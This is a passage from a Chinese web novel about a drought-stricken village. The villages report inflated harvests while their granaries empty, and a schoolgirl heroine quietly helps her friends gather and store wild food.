黄家岗那边有点不太妙了，颍河水位严重下降，他们又没得钟家岗的水渠，只得人工担水，效率低下就不说了，那么热的天，人累中暑好些个。 有年纪大的，没撑过去，直接走了。 还好种的是小麦，已经是成熟期，土壤过于干旱，也不会颗粒无收，就是会减产而已。 只要能有收获，就不怕没东西吃。 钟莹莹放假回去了一趟：“爹，我们学校现在打饭都不给那么多了，听同学说，粮站买粮都不好买了。” 钟伟先面色一沉，陈显英脸色也很难看：“你听谁说的？” “宿舍里的同学，她家城里的，好些亲戚在政府单位里面上班呢！”公职人员的话听起来比较有说服力。 钟绍华反应很快：“换粮应该是不成了，今年可以让村里多种些土豆。”大家都在大吃大喝的，哪里能拿得出来粮食找人换。 “天那么干，地里的粮食怕不是要减产。”钟明月读过书，此刻也忧心忡忡，知道这种状况会造成什么——饥荒。 农家人挣得少，靠天吃饭，平常也就留有下一季的粮食，这次敞开吃，还能剩下什么？ 收不上来粮，等上面分配？ 要是大家都收不上来呢？钟伟先想到的问题的严重性。 钟莹莹提笔给宋茹寄了一封信。 比钟伟先预料到的事情还要更坏的在后面呢。魔.蝎`小`说 k.m`o`x`i`e`x`s.c`o`m 50-60 第51章 “李家沟，亩产千斤！” “张家村，小麦亩产500斤！” …… 一条比一条更炸裂的消息刺激着人们的耳膜。 “真的假的啊？” “种了那么多年地，还没见过产量这么高的呢！” “是啊，是啊，他们用的麦种和我们不一样吗？”可麦种不都是县里领的吗？浇地的水也都是颍河分出来的，怎么会差距这么多？ “伟先，你怎么看？”钟家岗的粮食产量还没往上报，但村长预估撑死了一亩地也就收了一百斤出头，怎么着也搞不了别村的数量啊！ 之前他看了其他村的麦子，也不像是能收这么多的。那地里的麦穗还不如钟家岗的饱满呢！ “能怎么看，收多少报多少！” “跟他们一样虚报，到时候你拿什么来填这个窟窿？村里粮食一点不留？到时候大家喝西北风？”钟伟先斜睨了村长一眼。 村长被钟伟先的话吓得冷汗都出来了，原先他真有打算，跟着其他村一样，报的高高的上去。 比起面子，还是不饿肚子重要，面子算什么东西？ 钟家岗报了一百零五斤一亩，这个数字在以往也算是很正常的，在今年就显得有些鹤立鸡群，标新立异了。 没多久，吴家村也上报了，他们比钟家岗还少点，只有一百斤。 吴村长因着之前的事情，觉得钟家岗是运道好的，所以干啥事都要参考一下钟家岗的做法。 比起外面的浮夸风，他也觉得脚踏实地更重要。 那麦子缺水，又热又干，提前成熟，还能增产？骗鬼呢吧？ 荣耀只是一时的，能让村民填饱肚子，才是一辈子的。 可惜的是，他没见着钟家岗大锅饭的场景，私下打听，对方嘴巴也严的很，不然也能学一学。 他们村啊，开了大锅饭后，虽然他有意控制着量，但是大家吃的还是要比平时多太多了，粮仓粮食数量的不断减少，让吴村长很是忧心。 都五月了，整个县没有下一滴雨。 颍河部分地势较高的位置，河床都露出来了。 各村的小河沟里的水也只剩下浅浅一个池底。 钟家岗鱼塘里的鱼被迫提前收割，大半卖到供销社里，给村里换了粮食回来，小部分村民自家分了吃了。 “唉，眼见着要育苗了，地里没水可怎么办！”下一季的水稻要提前至少一个月育苗，因着没水，他们已经推迟时间了，马上都快六月了，要插秧了，还是没有雨，河沟水也干的更厉害了，水井打水都比以前费力。 “老钟老吴啊，你们这样我的工作很难办啊！”镇长开会的时候特意点了钟家岗和吴家村。 镇子下辖的七八个村子，就这俩是刺头，其他都是五百，一千斤，就这俩老老实实的报了一百斤。 钟强先挠了挠头：“镇长，我们也没办法啊，那地里就长出这么多粮食，我们也不能骗人吧！” 钟强先以前的人设就是人憨不聪明，听不懂人暗示，还闹出过笑话来。 镇长气急败坏，也不暗示了：“地里产多少是多少，报多少不还是你们自己说了算吗？！” “可我们没有那么多啊！”钟强先装作听不懂。 吴村长害怕战火波及自己，忙跟着解释道：“镇长啊，我们确实地里没那么多粮，小麦旱了一夏天，咋可能收那么多？” “行行行，就你们俩倔是吧？产量报这么低，今年的先进都不想要了？” 钟强先和吴村长低头不语，比起拿先进，还是不想饿肚子。 镇长见状更气愤了：“好啊你们两个，商量好的是吧？嗯？都哑巴了？” “怎么劝都不听，那回去写检讨去吧，怎么别的村子都能超额完成生产需求，就你们不行！！！”镇长劈头盖脸甩过来一张报纸。 报纸上最显眼的照片上竟是十来个人举起一头大肥猪，农民抱着一捆麦穗有巴掌大的小麦……每一个版面都那么的博人眼球。 这种行为不是单单在他们县里存在的，而是全国上下都在搞这种东西。 吴村长有些动摇，钟家岗的运气再好，能比得上国家？ 钟强先只是默默的捡起飘到地上的报纸，看了一眼，然后折起报纸，塞进了裤兜里，美滋滋道：“谢谢镇长。” 这报纸他要自己买还挺贵，这不花钱就能得一份新的，可不是赚到了。 “咳咳……都走，快给我走！”镇长端起搪瓷缸正要喝水，被他的动作给气的呛了好大一口水。 钟强先还想说话，吴村长看不过眼，直接拽着他胳膊给他拽走了。 “你拽我胳膊干嘛，我话还没说完呢！” “镇长生气了，你没看出来？”吴村长有些怀疑人生，就这样的脑子，怎么当上村长的？自己跟着钟家岗的人干，真的选择对了吗？ “没看出来！” 吴村长“……” 他有些怀疑钟强先是在装疯卖傻。 “你们村的秧苗育苗了吗？”吴村长装作不经意间提起。 钟强先像看傻子一样看他：“都没水，拿什么种？” 傻子用看傻子的眼神看自己，吴村长被钟强先的眼神刺激到了：“不育苗六月种啥子？” “你有水插秧吗？” 吴村长不说话了。 钟强先说的是事实，育苗用的地少，人从水井里担水勉强还供的上，插秧需要的水，可不是一口两口井能负担得起的。 他暗叹一声，希望老天爷能够早点下雨吧！ 钟强先嘴上说的轻松，实则心里也很犯难，当村长太难了，啥都要管。 说是不育苗，钟家岗最后还是挑了两块地撒了种子，人工灌了水。 有雨的话，到时候多少能种点，没雨的话，也亏不了多少。 钟家岗种植的更多的是红薯，耐旱性强，产量大，尽管干旱减产，也能给他们提供一定的食物来源。 红薯全身都是宝，茎叶果实都能吃。 县里以前发过高粱种，因为不好吃，全是壳，很少有人种。 钟强先不知道从哪里把这玩意也给翻出来了。 不管啥玩意，只要耐旱的，通通种上，广撒网，多捞鱼，能熬过去就行。 因着报纸上的盛况，城里也是随处可见欢呼声，到处一片虚假繁荣。 接到钟莹莹信件的宋茹很快行动起来。 她跟王书钰婚后住在宋家比较多，王书钰厂里忙的时候就睡宿舍，放假也来宋家住。 两室一厅的小房子，住下老父亲和小夫妻俩，刚刚好。 宋家三职工家庭，开火比较少，一般都是吃食堂。 报纸上的东西宋茹也看了，只是没想太深入，农村的局势已经那么恶劣了吗？ 想到钟莹莹信里写的‘大家每天都能吃到撑，就是粮仓里的粮食快见底了’ 干多少活，都能吃一样的饭，‘村里人干活也很积极’打了引号的积极。 ‘村里的粮食产量降低，没有报纸上的高，村长很是愧疚’ 实际产量降低，登记产量却前所未有的高，长此以往会带来什么后果？ 宋茹不敢细想。 她跟王书钰还想着这两年要个孩子，现在看来，还是再等等吧。 “火急火燎的叫我回来干嘛？”宋冬宇有些无可奈何。 他闺女一向是个风风火火的性子，想到什么就做什么，这次又不知道是要干嘛！ “爹，你看。”宋茹把钟莹莹寄来的信展开放到宋冬宇面前。 还没看信的内容，宋冬宇就了然，原来是钟家人寄信来了，怪不得宋茹这么激动。 他闺女见钟家人可比见他激动多了。 宋冬宇漫不经心的拿起信纸，没看几眼，就瞪大眼睛，心里满是慌张。 一直在城里生活，他都快要忘记他也是农村出身的了。 不事生产多年，这些东西和他没甚干系。报纸上的那些东西，他平常看过了也就一笑了之，当成个笑话来看。 联系最近收音机里报道的三省严重干旱，还有海市最近燥热难耐的天气。 宋冬宇无法再保持冷静。 他深呼一口气：“小茹，买些零嘴儿给莹莹寄过去，我那还有两罐麦乳精也给拿过去，书钰单位不是发了……” 宋冬宇絮絮叨叨念了一大堆，都是让宋茹拿了寄给钟家人的。 信上那些事情，虽然写的很日记化，表面看似只是在记录日常生活，宋冬宇却明白其中深意，这些东西，不是至亲，不会有人愿意提醒旁人的。 闺女被伤害后，他们和钟家人建立了联系，从一开始看，可能是钟家人占了便宜，那些个好东西不要钱似的寄到钟家。 现在看来，真正占便宜的是他们宋家。 单就宋茹一条命，把宋家全部家产送出去都不为过。 钟家也不是爱占便宜的，宋家送的东西，他们也会有回礼，宋冬宇没少吃来自钟家岗的土特产，有些吃不完的，还给单位同事分了不少。 宋茹扒拉扒拉家里，收拾了两个大包裹寄出去，里面还夹了很多粮票，都是三口人平常吃不完攒下来的。 村里缺这些，他们家可不缺。 三个人挣工资，俩人除了吃饭基本一毛不拔，只有宋茹一个开销大点，她自己的工资基本能全覆盖掉。 一月一月攒下来，存折上的数字不断上涨。 东西寄走后，宋冬宇就带着宋茹在家里扒拉，规划哪里能藏东西。 钟莹莹在校不知道自己一封信过去，还能带来这么多的好东西。 此刻她正在惆怅，如何提醒几个舍友也再攒点东西。 之前交粮时耍的一点小心思，不一定能支撑后面的时光。 毕竟三年呢！这三年不知道会死多少人，为什么灾难要提前啊？？？ 第52章 天气越来越热，一直没下一滴雨。 钟家岗人工挑水种的秧苗已经长成，绿油油一片好不欢喜。 众人脸上却没几分喜色。 光有秧苗没有水，还是种不成。 河道干涸的更厉害了，颍河几乎能看见底了，这在近几十年来是从未发生过的事情。水井上打水的绳子长度是加了又加。 “食堂真是越来越抠门了！”收的粮票没见少，给的份量却弄虚作假。 原先一份饭里是实实在在的干饭，现在水越添越多，都快成粥了。 祁绮皱眉：“还难吃了嘞～” 也不知道咋做的菜，没有油星就算了，还泛着一股奇怪的苦味。 “你要不要吃我这个？”吴月把自己手里有些干巴的饼子递过去。 这是村里食堂做的，村路吃粮宽泛了，他们这些搁外面上学的，也能在食堂领干粮带到学校吃。 虽然有点干噎，边吃边喝水还是很抵饱的。 学校里条件稍微好点的，直接拿粮票吃食堂，条件不好的，就自己带米面，放饭盒里加水，在食堂的大蒸笼里蒸了就着咸菜吃。 吴月大多数时间是吃自带的，偶尔奖励自己开一次小灶才会吃食堂。 “你自己吃吧！”都不好吃，换哪个都一样。等周六放假回家再吃点好的叭。 食堂的饭并没有随着同学们的抱怨而变好，反而坏得愈演愈烈。 糟糕的是村里的伙食也开始变差，一开始是扎实的大白馒头和米饭，后面变成掺和着玉米面，到现在大半是麦麸，就一点面粉粘合，做成了窝头。 一口下去，得锤十多下胸口才咽的下去。 钟莹莹觉得是时候提醒舍友了，她苦着脸说：“我们村的食堂都没粮下锅了，你们还有得吃吗？” “我们也是，以前吃的多好啊，时不时还能吃上肉呢，现在呢，只有卡嗓子的窝头不说，窝头还不给吃饱，每人就发一小个。”李红雪满心怨念。 她好不容易养起来的肉，这段时间掉了个精光。 “我偷偷看了，我们村粮仓都空了！” 之前上报的产量超标，需要交的公粮就多。 没收那么多粮怎么办？好办！拿村里自留的粮食来抵啊！ 食堂消耗量又大，大家都生怕自己吃亏了，一家老小死命吃啊，一来二去的，可不没粮了嘛。 “村长说，上面会发粮的，不用急。” 钟莹莹知道，他们村村长开会回来给他们说过，这话是镇长说的。 “都缺水没种水稻，上哪发粮啊？” “我也不知道，村长是这么说的。” 村里人都跟疯了一样，没事就在家躺着，问就是地里没水，没法种田。 村长也不管，跟村民一样只等着上面发粮。 “真的能发粮吗？”祁绮很是疑惑，一般来说不是只会发救济粮的吗？救济粮也不是大家都给啊？ 吴月小声嘀咕一句：“谁知道呢？” “唉～要是不发，不知道等村里的吃完了，我们还能吃啥！” 楚秀秀冒了个头：“总得做点打算吧，饿肚子可难受了！” 她娘刚生弟弟那会儿，她就老饿肚子。 等到上初中后，她才算是真正能填饱肚子。 楚秀秀特别害怕挨饿，每次一放假回家，她就去挖野菜，侍弄地里的活计，还会抓虫子喂鸡，就为了鸡能多下两个蛋，拿去换钱或者自家吃，都不会饿肚子的。 “他们都懒得不愿意动弹，等着天上掉馅儿饼”高家娣叹了一口气，她娘中间回来过一次，来要钱的，她不在家，她爹直接将人给赶走了。 不种地，哪里会有收成啊，麦子交上去，粮仓都空了。 钟莹莹提醒道：“地得好好种，我们村种了好些红薯和高粱。” 祁绮有些好奇：“什么是高粱？” 南方长大的孩子，没有见过这种作物。 钟莹莹解释道：“杆子长得跟玉米一样，穗子是红色的，磨了壳可以吃，不怕旱。” “村长说，这是之前县里引进的种子，因为不好吃，产量也就那样，所以几乎没啥人种。” “你们回去可以让家里人试试，之前发的种子可不少嘞！” 县里发种子，是按照田地亩数来的，钟家岗有，其他村子一定也有。 “家里想种也没用啊，大家都不干，一家种，一起吃，没人愿意。”吴月无奈的摊摊手。 “好歹撒点种子，浇浇水，做做样子啊！”钟莹莹无语了。 “一说就是沟里一点水也没有，怎么种地？种子撒下去就是浪费，还不如煮了吃了。” “现在也没人说了，说了也不听，都等着占便宜呢！”李红雪翻了个大白眼，一群坐享其成的家伙。 钟莹莹不想管了，混账东西们鼠了算了。 她抬眸看着几个小伙伴稚嫩的脸庞，忽然又心软软。 都是孩子呢，自己不管，等没饭吃，别说读书了，她们不被家里卖了换彩礼算好的。 “之前晒的干菜你们都没卖吧？都藏好了，有人问就说卖给供销社换糖吃了。” 村里食堂随便吃，家里人也看不上她们采的野菜晒的干菜。 “藏的好好的呢！”李红雪拍了拍胸脯保证。 她搞那些东西就是为了等冬天能够攒够钱，买点不要票的碎布头，缝个内衣。 身上现在穿的，是她娘换下来的旧的改小的，只有一件，每次换洗的时候都很尴尬，她想着自己拼一件，夏天也能换着穿了。 “周末放假去挖白茅根去不去？我知道哪里有。”白茅根嚼起来甜甜的，乡下娃子都喜欢，大坝边上就有一处。 “我我我，我去！”钟莹莹话音刚落，李红雪就迫不及待举手。 随即楚秀秀也表示要去，高家娣回家没活干也去。 吴月有点犹豫，但是看祁绮也去，她不想像被孤立一样，也跟着报名。 宿舍六人组约定好了去坝上挖白茅根。 严格来说白茅根秋天挖最好，但现在那么旱，不挖的话，秋天可能也不剩啥了。 “祁绮，你记得带上篮子和小铲子……算了，你直接去我家吧，我家有！”家住城里的祁绮哪里会有这些农具，钟莹莹喊她直接用自家的。 “莹莹，谢谢你！”祁绮不好意思的红了脸。 坝上不止有白茅根，还有大片的紫花地丁，因为缺水，它们叶子都有些打卷了。 “咦，这还有那么多野菜？”吴月惊叹道。 “可惜就是有点老了。” 紫花地丁未开花前口感比较好，可以直接当菜吃，开花后就不成了，叶子老了，嚼起来都是渣渣。 “老了也没事，挖了回去晒干了，可以泡水喝，清热解毒消暑呢！”楚秀秀提了一嘴。 祁绮很是崇拜，星星眼道：“太厉害了，你们懂的好多啊！”自己啥都不知道。 “嗐，你搁村里多待一段时间也能学会。”村里娃的生存技能，有啥厉害不厉害的。 白茅根比较难挖，根系较深，需要拿铲子一点点挖。 “你尝尝，看看甜不甜？”钟莹莹刚撅出一根短的白茅根，就递给了祁绮。 祁绮学着吴月几人，在身上蹭了蹭白茅根上面的土，一点也不嫌弃地直接塞嘴里嚼起来。 “好甜好好吃，而且一点也不腻！”祁绮打开新世界大门。 原本只是过来玩，没想着刨多少的手，眼下也不自觉飞速挖动起来。 这边地的土质比较松软，并不难挖。 “嘿嘿！我也挖到了！”一根十厘米左右的白茅根被祁绮举起来炫耀。 “我的最长，你们都没我的完整。”祁绮是完美主义，只想挖出最完整最漂亮的来。 “噗呲～你看看你挖了几根，我们挖了几根”李红雪绷不住了，在学校咋没发现这人这么好玩啊！ 城里小姐和她们农村娃子就是不一样。 祁绮的篮子里只孤零零的躺了一根白茅根，反观其他人，挖的至少的钟莹莹都挖了十几根了。 祁绮：“我、我、我这是……” “好了，快挖吧，多挖点晒干了煮茶喝，跟糖水一样甜。”楚秀秀打圆场道。 高家娣挖的最卖力，她嘴里叼着一根，手下的铲子不断飞舞着，尘土飞扬间，一根根白色的根茎就被她刨出来了。 擦干净额角的汗，高家娣的动作不带停歇的，太久没尝过这般甜蜜的滋味，她要多搞一些回去慢慢吃。 中午的时候几个女孩都没回家，在坝子边上的白杨树林里找了块干净地方休息。 水和干粮是出发时就从家里带来的。 “好像野餐一样！”眼前的一切都是新鲜的，祁绮甚至觉得手里干巴的饼子配上白水都好吃的很。 身边围坐着志同道合的小伙伴，在烈日炎炎下躲在树荫里乘凉，吃的喝的都不缺，吃的饱饱的，人就容易犯困。 靠着大树，看着地上的蚂蚁运送其他虫子的尸体，还挺让人着迷。 祁绮提议！“我们每周放假都出来挖东西吧！” 钟莹莹乐了，这小丫头还挺上道，打野一次就上瘾了。 “好啊，好啊，我们村有野洋姜，没人要的，下星期可以一块来挖。”李红雪很赞同。 以前村上人当洋姜是好东西，挖的可快，现在一大片在那里，碰都没人碰。 “洋姜再等等吧，现在还没熟呢！还是先去我们村采荷叶吧，沟里没水，荷叶也活不了多久了！”吴月心情有些低落。 “那就先去吴月家，荷叶荷花香的很嘞，不摘就看着心情也好！” 几人就这么约定了下一周的活动。 钟莹莹想着，就这么慢慢引导她们藏些东西，一天天累积下来也不少了。 第53章 就在六人组的挖啊挖中，钟莹莹他们迎来了初二的最后一次考试。 县中学期末考这次很大方。 第一名奖励十块钱，第二名五块，第三名三块，四到十名每人一块钱，说是为了庆祝‘大丰收’。 丰收不丰收的暂且不说，拿到钱的钟莹莹可是真开心，十块钱够她花很久了。 宿舍六人组也都在前十名以内，每人都领到了奖金。 “这钱我想买铅笔，可是我又好想吃肉包子，还有做衣服的布也想要，可是我没那么多钱。”李红雪吸溜了一下口水后又变得有些沮丧。 钱在学校花完了，回家最多挨顿打，没人去她家嚼舌根，家里也不会有人知道学校发钱了。 如果拿回家去，指定会被没收。 一块钱是买包子还是买铅笔呢？李红雪有些犹豫。 还是买碎布头吧，她跺了跺脚，都怪自己没考好，要是考前三，哪里需要想那么多，全都可以买。 高家娣腼腆一笑：“我想去供销社买碎布头。” 她跟李红雪一样，都没啥衣服，所以想自己攒点，凑点布头做一件小衣。 高家娣口中的碎布头，不是平常供销社员工的‘福利品’，是真正的碎的很小块的布头。那种大块的，才没人便宜卖，都是里面的工作人员当做瑕疵品自己低价买了转售给亲戚朋友。 高家娣虽然笨鸟慢飞，也飞起来了，这次期末考竟然考到年级前三去了。 兜里有三块钱，她说话的底气都变足了。 这些钱拿去换大块的碎布都足够了，她只是想省一点，把省下来的钱攒起来补贴家用。 “那我们一块去供销社？”学校讲完试卷就该放暑假了，他们假期没事情，是不会进城的。 现在先去把东西买了，等放假收拾收拾凉席枕头，直接拎着就可以回家。 冬天带被子有点麻烦，但现在是夏天，装备少，凉席一卷，轻轻松松一拎就走。 各个村都有在县城上学的孩子，放假也是牛车最多的时候，不用自己走路，可以多买点东西卷凉席里带回家。 当然，买东西的前提是得有钱。 供销社的商品很单一，平常有紧俏货的时候人很多，现在不晌午不夜的，柜台前没几个人，燥热的天气又使得售货员拿着把蒲扇，一边扇风，一边昏昏欲睡。 售货员眼皮耷拉着，有人喊他，他就把商品从玻璃柜台里拿出来展示一下，没人说话，他就继续闭眼假寐。 以往看的小说中写的售货员狗眼看人低，钟莹莹没咋见过，这里的售货员最多也就懒得搭理人。 几个小姑娘进去逛了一圈，小心挑选出自己要的东西，付完钱就出来了。 “你们假期有事情做吗？”钟莹莹又想带着他们囤东西了。 粮食扎眼，不好搞，一些副食产品弄一些，不会晃人眼球。 直到现在，他们县仍旧没有下一滴雨。 颍河的河床已经露底了，河沙和淤泥就这么裸露在空气中。 水浅时，河里的鱼已经被人抓的差不多了，附近村子都是整村去抓。 别的活干不干无所谓，这白捡的鱼不拿可就对不起自己了。 除此*之前，颍河里有很多河蚌和螺蛳，这些东西不值钱，还费功夫，想要好吃，很费油盐，没啥人捡。 钟莹莹想再跟小伙伴们一块去收集的就是这玩意。 蚌肉和螺肉很易得，弄回家晒干能保存很久。 现在这个天气，没有雨，干得要死，也不怕晒不干会发霉。 或许现在不觉着有多好吃，等到没吃的时候，就会觉得这玩意香得很了。 临河的人家抓了河蚌一般是砸开喂鸭子，这东西煮了很难嚼，不是饿极没人吃。 别的村嫌弃的东西，钟家岗不嫌弃 村长钟强先带头过去，捡了河蚌，背回村，把河蚌肉取出来，开水一烫，放日头下晒干。 河蚌壳就放火上烤一烤，碾碎了，拌在草木灰里，等着种田的时候做肥料。 河蚌繁殖能力强，河道里根本捡不完。 有村子看钟家岗人搞那么多，眼红，也去弄，结果弄完壳子没处理，生的到处都是苍蝇，嗡嗡作响惹人烦，又不是离了这些东西没饭吃了，渐渐的，只有吴家村这个老伙计还在跟着弄。 一大背篓河蚌剃了肉出来，晒干之后只有七八斤。 钟莹莹想帮助小伙伴也不会损害村里人的利益，如果河蚌和螺蛳只够村里人捡，她便不会再往外说。 现在的情况是，河里到处都是，不捡等喝水彻底干涸了，这河蚌也活不下来。 这次六个人当中只有李红雪，高家娣，楚秀秀，钟莹莹了，吴月家里有事，祁绮觉得太热了，不想动。 不对，高家娣还把她弟弟给带过来了。 小家伙七八岁，个头可不小。 姐俩一人背一个大背篓，就这么从高家村一路走到了坝上。 “姐，真的有那么多河蚌吗？”高家远没离开家太远过，也没到过河边，高父就这么一个儿子，宝贝得紧。 “真的！”高家娣想干一票大的。 她舍友频繁的带他们出来找东西，怕不是有什么预感。 她自己其实也有感觉，最近的风气不太对。 好几个月没下雨，村里没法按时种稻子，好多人都躺平了。 最近，看粮仓快空了，上面也没说啥时候发粮，他们才不情不愿的补种了绿豆和红薯。 村里大食堂的饭也越来越敷衍了，原先还有窝头，现在就是乱七八糟的东西兑一起，多加点水，搅和匀了，煮熟直接给他们吃。 纯纯做猪食的手法。 村里人也被惯坏了，原先若是吃的不好，还会想法子改善一下，现在就是能吃就吃，不能吃就躺着。 要不是之前实在馋坝上的鱼，也没人愿意大热天的给自己增加工作量。 “我们今天得多捡一点，姐姐在下面往上扔，你拿石头把河蚌砸碎，肉摊在沙子上晒一晒，你不要下去，听见了没有？”高家娣抬高了声音。 “我知道了！”高家远是个乖孩子。 以前他娘在的时候，恃宠而骄还有点熊，现在家里只有姐姐和老爹，长姐如母，他一下子变得懂事起来，起码知道尊重姐姐了。 高家姐弟俩人小，家远，没有交通工具，只能靠两只脚，所以高家娣才让高家远把河蚌砸碎，只要河蚌肉，不带壳回去。 不单单是带肉，那个肉还得是简单经过日光脱水的。 水分去掉一两，他们就能多带一两河蚌肉走。 “咦～你们都开始抓了啊，速度真快！”楚秀秀一到坝上，就眼尖的看见正在拿竹竿戳远处河蚌的高家娣姐俩。 高家娣抿唇笑笑没说话。 楚秀秀顺手折了根树枝，也从岸边跳到河床上了。 开裂的河床脚踩上去软软的，泥土混着河沙，有种沙沙的感觉。 不到中心点没事，到中间带着黑色淤泥的地方，可能会下陷爬不上来。 钟家岗这次除了她和钟莹莹外，没别的人再来了。 其他人前些天一直捡捡捡，都捡腻歪了，包括钟新澄和丽丽俩小崽子，都帮忙干了不少活。 钟莹莹来之前问他俩要不要跟上，没一个愿意来的。 “我俩也跟家娣学着弄吧！”楚秀秀提议和钟莹莹分工合作，一人捡，一人砸肉晒太阳脱水，这样能多捡一些。 来都来了，自然是要多捡一些回去。 楚秀秀比钟莹莹年纪大，最终她决定自己下去，让钟莹莹在岸上捡河蚌开肉。 俩人打着配合，一点也不比高家姐弟俩慢。 “秀秀，你快来，看我开出什么了！”钟莹莹突然一声尖叫，一下子把附近三个人都招来了。 楚秀秀看着那颗圆润可爱的珠子，有些疑惑：“这是什么？” “是从河蚌里开出来的珍珠，搁以往能卖不少钱呢！” “那现在呢，还能卖钱吗？”提到钱楚秀秀就满眼放光。 楚琳琳辍学几年，最近到了适婚年龄。 老楚托人给介绍了好几个，她都不满意，最后一问，人家看上了村长的大儿子。 楚秀秀让她别急着嫁，等自己考上中专了，再找对象，没准能找个城里的。 楚琳琳只一副看白痴的表情说：“你不懂！” 楚秀秀很无语，姐姐一意孤行，她不行。 她爹娘说了，自己要多留心多注意。因为自己以后是要留在家里招赘的 弟弟一直傻不拉叽的，不知道什么时候能好，也许是一辈子。 姐姐嫁出去了也好，省得留在家里被弟弟拖累。 这珠子能卖钱的话，卖了可以给姐姐攒嫁妆。 “不能卖钱！”现在公私合营，拿这种奢侈品去卖，不是给人机会抓投机倒把嘛。 “哦！”楚秀秀明亮的眼睛瞬时间又变得暗淡起来。 不能卖钱要这玩意有什么用，楚秀秀大方道：“我不要这个，你自己拿着玩叭！” 钟莹莹放心的把东西借着裤兜的掩饰，丢进了空间。 几十个蚌，她一共开出来五颗珠子，数量不多，但个个圆润饱满。 “今天捡这些够了吧，再捡下去背篓要装不下了！”楚秀秀累了。 “那就不捡了。”劳逸结合，干活也不能不休息。 那五颗珍珠钟莹莹也不是故意骗小孩子东西，现在这珍珠，给楚秀秀她也用不到。 放自己这里啥时候都不会丢，以后有机会还能把那颗珍珠的份额还给楚秀秀。 钟莹莹跟楚秀秀捡完沙滩上晒着的河蚌肉，抖抖沙子背上背篓，跟高家姐弟告别后就回村了。 回到村里就听到一个噩耗，有新知青要来。 来新人意味着少量的粮食又多几个人分，全村上下没一个人满意，包括上一批的老知青们。 第54章 “欢迎你们！”以周岱为代表的老知青们勉强对新人表现出热情。 没想到人家却不领情。 “这什么破地方啊！” 戴着眼镜，穿着西裤皮鞋的男生挠了挠胳膊被蚊子叮出的大包，眼里满是不耐烦。 “我们住哪啊？跟你们住一起？”男生进屋转了一圈后，声音陡然拔高：“这么小的房子，你让我们这么多人一起住？” “村长在哪呢，我要问问，他们是不是故意欺负我们下乡知青？” 这一批分到钟家岗的一共有三人，两男一女。 俩男生都穿的光鲜亮丽的，女孩子看起来就不太好了，身上灰扑扑的，袖口打着补丁。 “村里人都这样住，你去问了也没用！”李莉莉有些生气。 大家都住的好好的，就这新来的，没事找茬。 人家村长家也是几个人住一个屋呢！ 他们不想在这住，自己还不想给他们让位置呢！ 之前两间卧室，男生一间，她自己住一间，现在又来仨人，她得把床分出去一半，真是越想越心烦！ “你们不说是吧，不说我自己去问！”皮鞋男气势汹汹的丢下包裹就想去找茬。 没等他走出知青院，村长钟强先就带着村民抬着两张竹床过来了。 “哟，都在呢！”都在好啊，都在省事了，有事情一次性就能交待完。 “这是村民们给你们打的床，来，大小伙子的，帮忙搭把手给搬屋里去。”钟强先乐呵呵道。 房子没法再单独安排，床给多搬两张是没问题的。 “谁要帮你们这些农村人搬东西啊？我下乡是帮村里搞建设来的，不是来做这些粗活的！”皮鞋男嫌弃的要死，什么人都干指使他，真是不想好了。 钟强先的脸色冷了下来，他身后跟着的几个村民也通通变了脸。 “你叫什么名字？”这次的知青不是村里人过去接的，是县里面不打招呼直接送过来的。 皮鞋男用鼻孔看人，嘴里冷冷吐出两个字：“王岳。” “王岳是吧，哪里来的你回哪里去吧，咱们村要不起你这样的人才！”钟强先识字之后的腰杆子硬气了不少。 “我……”王岳还想争辩，同行的另一男子忙出来当和事佬：“您好，王岳他只是刚来乡下，一下子有点不习惯，他人不坏的，我代他向您道歉。” “你叫什么名字？”刚刚那个叫王岳的趾高气昂时，他不说话，现在出来当好人了，钟强先哪会连这点小把戏都看不穿，这是拿同伴给自己当垫脚石，博好名声呢！ “我叫朱志鑫。”朱志鑫嘴角长了颗大痦子，特别像放映队放的电影里的人奸，尤其是他一笑，那简直一模一样。 钟强先上下打量了一下：“行，哥俩好是吧，那你俩一块回去吧，我会给上面汇报的，到时候让他们给你们换个好地方。” “我们钟家岗穷，没啥好东西，连饭都吃不饱，你们过来也是受苦，都回去吧！” 本来日子就不好过，再来俩一个看着脑子就不好使的，一个心眼子贼多不用在正道上的，随便搞点事情，都够人受的。 “这事情也不能你做决定吧，我要见你们村长！”没达到自己预期目的，朱志鑫眯起了眼睛。 钟强先拍了拍胸脯：“你找村长干嘛？我就是。” 朱志鑫不说话了。 刚来钟家岗，王岳那个蠢货就得罪了人家村长。 这让朱志鑫思考，究竟该不该继续再留在这里。 钟强先却是不给他犹豫的机会：“你们几个把床搬走一张，留下的这张搬到小李房间去。” 来了三个新知青，不好全都赶走，那个女娃娃看起来是个老实的，就留她了。 把床拿走，也就说还是要赶他们走，王岳哪里受过这气，当即喊人：“朱志鑫，我们走，此处不留爷，自有留爷处！” 朱志鑫无语了，也不知道自己跟着这个大少爷是对是错。 他叹了一口气，终是拎着两人的包裹，跟着大少爷一块离开了钟家岗。 谁让自己家穷呢，如果他有钱，他第一个要做的就是，甩掉这个大少爷。 现在还不是时候，他需要王岳时不时从手缝里露出的‘赏赐’。 “哎呀妈呀，可算是走了，他俩在院里，我感觉呼吸都不畅快了！”徐超不想院里添新人。 几个男生住一间屋本来就够挤的了，再塞俩人，塞张床进来，屋里更是连下脚的地方都没了。 好在人都走了他不用再发愁了。 只女生那边多了个人还行，女的吃的少。 王岳路过村口的时候，钟莹莹一群小孩背着背篓刚好回来。 看着一群脏兮兮，且身上散发着腥味的脏小孩。 王岳捏着鼻子，恶狠狠道：“看什么看，再看把你们眼珠子给挖出来！” 胆小的孩子没见过这样坏的陌生人，直接被吓得跑回家了。 钟莹莹回家之后才知道走掉的俩人是新来的知青，她心里和老知青们想的一样，走得好，走的妙。 粮补都没有，就凭借一张嘴，来到他们村，人还坏的很，连小孩子都欺负，留下来也是祸害。 地里没水，下一季的粮还没着落呢。少一个人吃饭，就节约一份粮食。 钟家岗现在除了孩子，大人们都缩减了饭量，不干活的时候，一天也就对付一口稀饭，保证自己饿不死就行。 “周岱，你说咱们啥时候能回城了啊？”张强有些难过，都下乡好几年了，也没听说啥时候能回去。 这次又送来这么些个新知青，怕不是想让他们一辈子回不了家了。 周岱沉吟片刻：“应该还得再等等！” 来乡下之前，他们的抱负和目的，只实现了一小半，理想很丰满，现实很残酷。 现在的钟家岗还有很多有待改进的地方，周岱只恨自己能力有限。 “唉～等等等，一直等，等的我都老了！”张强撞见楚琳琳和村长家儿子约会，天知道他多羡慕。 不是他有了喜欢的女孩子，而是他都二十五六的年纪了，别说在乡下，就算是在城里都早到结婚的年龄了。 “思春了啊～”徐超一脸坏笑的用肩膀撞了撞他。 